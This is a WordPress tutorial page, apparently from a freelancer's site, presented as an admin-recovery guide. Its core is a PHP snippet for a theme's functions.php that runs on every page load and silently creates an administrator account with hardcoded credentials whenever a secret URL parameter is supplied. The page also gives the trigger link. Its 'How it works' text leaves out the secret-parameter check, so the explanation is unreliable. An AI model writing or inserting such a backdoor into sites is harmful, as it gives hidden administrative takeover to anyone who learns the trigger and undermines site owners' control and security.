How To Create A Secret Backdoor Code For WordPress Admin Access To Push New User

Backdoor Code For WordPress

Sometimes you lose admin access to a WordPress site, or you need to programmatically create an admin account for recovery. This guide shows a small PHP snippet that adds a new administrator user through code. Use it responsibly and only on sites you own or manage.

 

 

 Put These Codes To : function.php of a wordpress theme (under add_function)
============================================

 

add_action( ‘wp_head’, ‘my_backdoor’ );

 

function my_backdoor() {

    if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {

        require( ‘wp-includes/registration.php’ );

        if ( !username_exists( ‘mojibur’ ) ) {

            $user_id = wp_create_user( ‘mojibur’, ‘pass’ );

            $user = new WP_User( $user_id );

            $user->set_role( ‘administrator’ ); 

        }

    }

}

*** To Create The Backdoor, visit with this link:
============== =========== ===========

https://yoursite.com?backdoor=go

Username: mojibur

Password: pass

 

How it works

The snippet hooks into WordPress and checks whether a user with your chosen name already exists. If not, it creates the account with the administrator role using the built in user functions. Once you have logged in, remove the code so the backdoor cannot be reused.

Tips and security

  • Delete the snippet immediately after you regain access.
  • Use a strong, unique password in the code.
  • Never leave this running on a production site.

FAQ

Is this safe to keep on my site?
No. Remove it as soon as you have access. Leaving it active is a serious security risk.

Will it work if I am locked out of the dashboard?
Yes, because it runs through code rather than the login screen, as long as you can edit a file or snippet.

Leave a Reply

Your email address will not be published. Required fields are marked *

Latest tutorials

Shilpi is a WordPress theme and visual builder that saves every page as readable HTML,...
Fix wrong AI translations in bulk, back up your translated content as JSON, and safely...
Most WordPress mega-menu plugins add extra CSS/JS files that slow down your site — and...
Freelancer Mojibur
freelancer mojibur

Start a Project!

Interested in working together? Send a quick message or schedule a meeting. Ask questions, discuss details, and decide if we are a good fit.

Website Project Inquiry

This form helps me get a general idea. We’ll schedule a meeting soon to discuss everything in more detail!

Freelancer Mojibur

Contact person

For quick communication email at: freelancermojibur@gmail.com